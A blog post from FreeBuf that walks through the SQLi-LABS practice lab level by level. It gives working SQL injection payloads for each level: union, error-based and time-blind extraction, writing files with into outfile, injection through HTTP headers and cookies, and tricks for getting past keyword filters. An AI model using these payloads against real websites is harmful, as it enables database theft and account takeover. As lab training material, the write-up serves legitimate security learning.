freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQLi-LABS-Challenges 0~28a解析
Deutsh 2022-09-29 15:39:31 191259
所属地 江西省

Less-1 GET-Error based - Single quotes - String

成功payload

  • 1' union select 1,database(),user()%23

    1' and 1=2 union select user(),1,database()--+

  1. 经测试 输出时会输出 3 列,所以此处 union select 需 select 三个数据

    • 1‘ order by 4--+时会报错,1~3则不会报错,所以推测有三列

  2. 会过滤掉 # 可采用 以下方式解决:

    • URL编码下的 %23 代替 #

    • -+注释符

  3. 根据报错提示猜测原拼接的SQL语句最后用 limit 0,1 用于限制输出~~~~的结果,所以需注释掉后续语句

进一步探索

1' and 1=2 union select 1,schema_name,default_character_set_name from information_schema.schemata limit 1,2--+

改变 limit 后的范围即可配合Burp确认所有存在的数据库
11.png
12.png
13.png13.png

Less-2 GET-Error based - Intiger quotes

与Less-1的区别在于,此时id后的参数是作为整型出现的,而不是字符串了

成功playload

  • 1' union select 1,database(),user()%23

其余全部一致

Less-3 GET-Error based - Single quotes whit twist - String

与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 ')

成功playload

  • 1') union select 1,database(),user()%23

其余全部一致

Less-4 GET-Error based - Double Quotes - String

与Less-1的区别在于,由报错信息可得此处闭合前面语句所需要的是 “)

成功playload

  • 1“) union select 1,database(),user()%23

其余全部一致

Less-5 Less-5 Double Query- Single Quotes- String

采取基于时间的盲注

测试是否存在SQL

直接采用sleep(5)进行判定

  • 1' union select 1,sleep(5),3#测试发现确实延时返回,确认存在SQL注入
    14.png14.png

通过对返回包的观察,发现该题执行成功SQL语句后统一只会返回一句

You are in......

15.png
于是乎首先构建一个基于if()的时间盲注语句

1' and 1=2 union select if(substring(database(),1,1) = 's',sleep(60),1)#

此处由于为了便于观测结果,所以执行成功则延时60s,这样所有被延时的字符就是最终数据库名字中存在的字符

再通过Burp暴力破解出database()的名字

16.png
17.png

Less-6 Double Query- Double Quotes- String

与Less-5的区别在于,此处对于id的闭合使用的是双引号 “

成功playload

  • 1" union select 1,sleep(5),3%23

其余全部一致

Less-7 Less-7 Dump into Outfile

根据提示我们想到本题应该用到写入文件的操作 into outfile

首先要确保数据库可以写入文件

  1. 确保相关目录有写入的权限/var/www/sqlilabs

  2. 确保数据库与本地文件是否有交互的权限show variables like '%secure%'
    要求secure_file_priv必须为空:为NULL则表示不允许mysql与本地文件做交互;若写着目录,则表示只允许与该目录做交互

成功payload

  1. 首先测试闭合,经初步测试发现有几种闭合方式均没有报错,所以后续都需要进行尝试

18.png

  1. 前面已经测试过列数了,所以此处无需再order by

  2. 通过into outfile将文件保存于目录下的文件中
    id=1')) and 1=2 union select database(),2,user() into outfile "/var/www/sqlilabs/Less-7/4.txt"%23

21.png
写入成功,直接访问即可

22.png

Less-8 Blind- Boolian- Single Quotes- String

与Less-5用的方法一致

成功payload

id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

  1. 首先测试如何闭合

23.png
由测试可知只有%27时也就是'闭合时才执行了sleep(5),所以用'闭合

  1. 与Less-5一样测试即可

24.png

Less-9 Blind- Time based- Single Quotes- String

与Less-5、Less-8用的方法一致

成功payload

id=1' and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

Less-10 Blind- Time based- Double Quotes- String

与Less-5、Less-8、Less-9用的方法一致

唯一的不同在于,此处用"闭合

成功payload

id=1" and 1=2 union select if(length(database())>2,sleep(5),1),2,3%23

Less-11- Error Based- String

该题方法较多,基本的闭合union select也可完成

成功payload

首先通过order by确认返回数据的列数(也可以认为是返回数据的数量)

  1. 基本闭合union select
    admin' and 1=2 union select user(),database()#

25.png

  1. XPath报错注入
    admin' and 1=2 union select extractvalue("haha",concat("~",(select database()))),2#

26.png

  1. 基于floor()的主键重复报错注入
    admin' and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a#

27.png

具体原理见之前的文章

Less-12- Error Based- Double quotes- String

与Less-11用的方法一致,闭合方式发生改变 为 ")

成功payload

admin") and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-13- Double Injection- String- with twist

与Less-11用的方法一致,闭合方式发生改变 为 ')

成功payload

admin') and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-14- Double Injection- Double quotes- String

与Less-11用的方法一致,闭合方式发生改变 为"

成功payload

admin" and 1=2 union select 1,2 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a#

Less-15- Blind- Boolian Based- String

与前面的布尔/时间盲注类似只不过为POST请求

成功payload

admin' and 1=2 union select if(length(database())>2,sleep(5),1),1#

Less-16- Blind- Time Based- Double quotes- String

与前面的布尔/时间盲注类似只不过为POST请求

成功payload

admin") and 1=2 union select if(length(database())>2,sleep(5),1),1#

Less-17 Update Query- Error based - String

该题为update语句用于更新密码,判断注入点是关键所在

本体开始怀疑注入点依旧位于User Name处,但用Burp跑了一遍闭合的各种情况后,发现均没有报错只有图片提示更改密码失败,于是更换思路,在password处寻找注入点,果然经123'的测试有报错信息返回,确认注入点在此处,于是拼接报错注入语句(User Name处正常填写)

成功payload

User Name :admin

New Password:123' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)as a)#

Less-18 Header Injection- Error Based- string

有题目可知本体开始注入点发生变化

经测试发现注入点位于UA处(加单引号后报错提示),之后尝试拼接语句未果,百思不得其解,遂查看源码,发现语句为insert,有些不太熟悉。

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('$uagent', '$IP', $uname)";

其中:

  • $IP无法找到其位置

  • $uname受到input_check()的过滤

遂将目光聚焦于**$uagent**

为了让insert into语句正常执行,我们需要进行拼接,思路有这样两个

  1. 闭合'$uagent'
    ' and extractvalue(1,concat(”~”,database())) and '1
    ' and extractvalue(1,concat(”~”,database())) and '1'='1
    ' or extractvalue(1,concat(”~”,database())) and '1
    都可以完成拼接为

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES ('**Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0**' and extractvalue(1,concat(”~”,database())) and '1', '$IP', $uname)";
  1. 闭合('$uagent', '$IP', $uname)"
    ',1,extractvalue(1,concat(”~”,database())))#
    即可拼接为

$insert="INSERT INTO security.uagents (uagent, ip_address, username) VALUES (**'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
',1,extractvalue(1,concat(”~”,database())))#**, '$IP', $uname)";

成功payload

' and extractvalue(1,concat(”~”,database())) and '1'='1

',1,extractvalue(1,concat(”~”,database())))#

Less-19 Header Injection- Referer- Error Based- string

闭合利用方式与Less-19一致,区别在此处的注入点位于**Referer**

成功payload

Referer: http://172.16.12.149:81/Less-19/' and extractvalue(1,concat("~",user())) and '1'='1

Less-20 Cookie Injection- Error Based- string

区别在此处的注入点位于**cookie**

这题可能是因为机器性能的原因,导致做了三遍三种cookie,第一种怎么都是sql-lib原始的cookie,会给返回一个uname的set-cookie,但得自己加上,要么啥也出不来;第二种是cookie字段中还带上了expires,还得自己手动添加很麻烦。直到重启了机器才正常过来

成功payload

很简单

uname = admin'and 1=2 union select user(),database(),version()#

28.png

Less-21 Cookie Injection- Error Based- complex - string

与上题构造方法基本一致

区别

  • 闭合方式变为')

  • cookie内容字段进行了base64编码

成功payload

admin') and 1=2 union select user(),database(),version()#

base64编码后

YWRtaW4nKSBhbmQgMT0yIHVuaW9uIHNlbGVjdCB1c2VyKCksZGF0YWJhc2UoKSx2ZXJzaW9uKCkj

Less-23

172.16.12.154:81/Less-23/?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)' and '1

由于过滤了注释符,所以最后用and '1闭合最后的'即可

Less-24

创建一个新用户

  • 账号 admin'#

  • 密码 123

登录该用户,更改密码为 root

此时改的是admin的密码

Less-25

没啥新意感觉,就是过滤or和and还有没有编码的一些注释符

or和and双写就可以绕过,注释符URL编码即可

配合union select记好了

id=1' aandnd 1=2 union select user(),database(),3%23

Less-25a

改为数字型即可

id=1 aandnd 1=2 union select user(),database(),3%23

Less-26

本题过滤了所有的注释符、空格、or/and等符号

我们使用||逻辑或运算符、&&逻辑与运算符代替原来的or或and即可,效果是一样的,配合报错注入即可

id=-1'||(updatexml(1,concat("~",user()),0))||'1

Less-26a

本题报错注入不会回显,而且闭合方式变为'),所以需要找到其他可以代替空格的符号,分别有

  • %09Tab键 水平

  • %0a新建一行

  • %0c新的一页

  • %dreturn键

  • %0bTab键 垂直

  • %a0空格

id=0%27)%a0union%a0select%a01,2,3||(%271

29.png

Less-27

本体过滤掉了select与union关键字,但报错注入依旧有效

id=-1'||(updatexml(1,concat("~",user()),0))||'1

而且多重重写也可绕过:selselselectectect

大小写也可以:SeLEct

Less-27a

同样报错注入没有回显,且闭合方式变为**"**

会过滤union和select但依旧不严格,可以通过重写和大小写绕过

id=0%22%a0ununionion%a0sELect%a01,2,3||%221

Less-28

本题的主体也是过滤selectunion,而且经测试这种过滤很有意思,如果但写selectunion并不会被过滤,但如果二者共同出现就会被过滤吧,还有就是本体还有过滤空格(和上题一样,通过%0a绕过即可),还有就是会过滤*这个符号,这就导致经典的floor报错注入貌似完成不了了

但本体的绕过也很简单,双写被过滤词即可(不是复写)

  • payload1
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3;%00

  • payload2
    id=1')%0Aand%0A1=2%0Aunion%0Aunion%0Aselect%0Aselect%0A1,2,3%0Aand%0A('1')=('1

⚠️ 两种写法都可以,只是最后的闭合方式不同

Less-28a

上面的payload在这里也适用,可能是出题者并没想我们用这种方法来注入,想得是一个用报错注入一个布尔肓注

# 网络安全 # web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Deutsh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
WEB安全相关
Deutsh LV.5
欢迎来我的博客 www.shtwo.top
  • 45 文章数
  • 36 关注者
File Structure 基础 && PUTS 流程分析
2023-01-30
Linux 堆内存结构分析(中)| PWN
2022-12-30
Canary补充 - TLS && Canary原始值在内存中的位置
2022-12-21
文章目录